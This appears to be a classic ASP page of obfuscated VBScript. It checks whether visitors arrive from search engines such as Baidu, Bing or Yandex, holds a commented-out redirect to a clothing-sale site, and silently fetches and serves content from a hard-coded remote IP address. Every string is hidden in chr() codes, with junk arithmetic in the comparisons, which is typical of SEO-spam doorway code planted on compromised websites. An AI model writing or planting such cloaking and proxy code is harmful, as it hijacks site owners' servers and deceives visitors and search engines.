<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <%option explicit%> <% Response.CodePage=65001 Response.Charset="utf-8" Dim RRCls,ID,M Set RRCls = New RReadCls RRCls.Core() Set RRCls = Nothing Class RReadCls Private Sub Class_Initialize() If (Not Response.IsClientConnected) Then Response.Clear:Response.End End If M=ChkClng(Request.Querystring(chr(109))) If M=1 Then ID=Request.Querystring(chr(100)) Else ID=Request.Querystring(chr(105)&chr(100)) End if End Sub Private Sub Class_Terminate() End Sub Public Sub Core() On Error Resume Next Dim url,X,S,cnt,y8y8k9k9k9y8k9y8k9y8k9 y8y8k9k9k9y8k9y8k9y8k9 = Lcase(CStr ( Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 82 ) & Chr ( 69 ) & Chr ( 70 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 69 ) & Chr ( 82 ) ) )) If InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 98 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 100 ) & Chr ( 117 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) ) > ( 20 * 37 - 740 ) Or InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 117 ) & Chr ( 114 ) & Chr ( 108 ) & Chr ( 63 ) ) > ( 61 * 15 - 915 ) Or InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 121 ) & Chr ( 97 ) & Chr ( 104 ) & Chr ( 111 ) & Chr ( 111 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) ) > ( 100 * 60 - 6000 ) Or InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 97 ) & Chr ( 115 ) & Chr ( 107 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) ) > ( 6 * 41 - 246 ) Or InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 98 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) ) > ( 64 * 41 - 2624 ) Or InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 121 ) & Chr ( 97 ) & Chr ( 110 ) & Chr ( 100 ) & Chr ( 101 ) & Chr ( 120 ) & Chr ( 46 ) & Chr ( 114 ) & Chr ( 117 ) ) > ( 36 * 24 - 864 ) Or InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 110 ) & Chr ( 97 ) & Chr ( 118 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) ) > ( 60 * 54 - 3240 ) Or InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 112 ) & Chr ( 101 ) & Chr ( 101 ) & Chr ( 112 ) & Chr ( 108 ) & Chr ( 111 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) ) > ( 57 * 26 - 1482 ) Or InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 109 ) & Chr ( 121 ) & Chr ( 119 ) & Chr ( 101 ) & Chr ( 98 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 99 ) & Chr ( 104 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) ) > ( 46 * 58 - 2668 ) Or InStr ( y8y8k9k9k9y8k9y8k9y8k9 , Chr ( 109 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 46 ) ) > ( 50 * 73 - 3650 ) Then 'Response.Redirect chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(119)&chr(119)&chr(119)&chr(46)&chr(99)&chr(108)&chr(111)&chr(116)&chr(104)&chr(105)&chr(110)&chr(103)&chr(111)&chr(110)&chr(108)&chr(105)&chr(110)&chr(101)&chr(115)&chr(97)&chr(108)&chr(101)&chr(46)&chr(111)&chr(114)&chr(103) 'Response.End End If If M=1 Then If Instr(ID,".")>0 Then url=chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(54)&chr(57)&chr(46)&chr(52)&chr(54)&chr(46)&chr(56)&chr(52)&chr(46)&chr(49)&chr(57)&chr(55)&chr(47)&chr(73)&chr(116)&chr(101)&chr(109)&chr(47)&chr(83)&chr(104)&chr(111)&chr(119)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(109)&chr(61)&chr(49)&chr(38)&chr(100)&chr(61)&ChkClng(Left(Trim(ID), InStr(Trim(ID), ".")-1)) Else url=chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(54)&chr(57)&chr(46)&chr(52)&chr(54)&chr(46)&chr(56)&chr(52)&chr(46)&chr(49)&chr(57)&chr(55)&chr(47)&chr(73)&chr(116)&chr(101)&chr(109)&chr(47)&chr(83)&chr(104)&chr(111)&chr(119)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(109)&chr(61)&chr(49)&chr(38)&chr(100)&chr(61)&ChkClng(ID) End if ElseIf ChkClng(ID)>0 Then url=chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(54)&chr(57)&chr(46)&chr(52)&chr(54)&chr(46)&chr(56)&chr(52)&chr(46)&chr(49)&chr(57)&chr(55)&chr(47)&chr(73)&chr(116)&chr(101)&chr(109)&chr(47)&chr(108)&chr(105)&chr(115)&chr(116)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(105)&chr(100)&chr(61)&ID Else url=chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(54)&chr(57)&chr(46)&chr(52)&chr(54)&chr(46)&chr(56)&chr(52)&chr(46)&chr(49)&chr(57)&chr(55)&chr(47)&chr(73)&chr(116)&chr(101)&chr(109)&chr(47)&chr(108)&chr(105)&chr(115)&chr(116)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(105)&chr(100)&chr(61)&"1604" End if Set X=Server.CreateObject(chr(77)&chr(83)&chr(88)&chr(77)&chr(76)&chr(50)&chr(46)&chr(88)&chr(77)&chr(76)&chr(72)&chr(84)&chr(84)&chr(80)) X.Open "GET",url,False X.Send If X.ReadyState=4 And X.Status=200 Then cnt=X.ResponseBody Else Exit Sub End if Set X=Nothing set S = Server.CreateObject(chr(65)&chr(100)&chr(111)&chr(100)&chr(98)&chr(46)&chr(83)&chr(116)&chr(114)&chr(101)&chr(97)&chr(109)) S.Type = 1 S.Mode =3 S.Open S.Write cnt S.Position = 0 S.Type = 2 S.Charset = "UTF-8" cnt = S.ReadText S.Close cnt=Replace(cnt,chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(54)&chr(57)&chr(46)&chr(52)&chr(54)&chr(46)&chr(56)&chr(52)&chr(46)&chr(49)&chr(57)&chr(55),"") cnt=Replace(cnt,chr(47)&chr(73)&chr(116)&chr(101)&chr(109)&chr(47)&chr(108)&chr(105)&chr(115)&chr(116)&chr(46)&chr(97)&chr(115)&chr(112),"") cnt=Replace(cnt,chr(47)&chr(73)&chr(116)&chr(101)&chr(109)&chr(47)&chr(83)&chr(104)&chr(111)&chr(119)&chr(46)&chr(97)&chr(115)&chr(112),"") Response.Write cnt End Sub Public Function ChkClng(ByVal str) On Error Resume Next If IsNumeric(Trim(str)) Then ChkClng = CLng(str) Else ChkClng = 0 End If If Err Then ChkClng=0 End Function End Class %>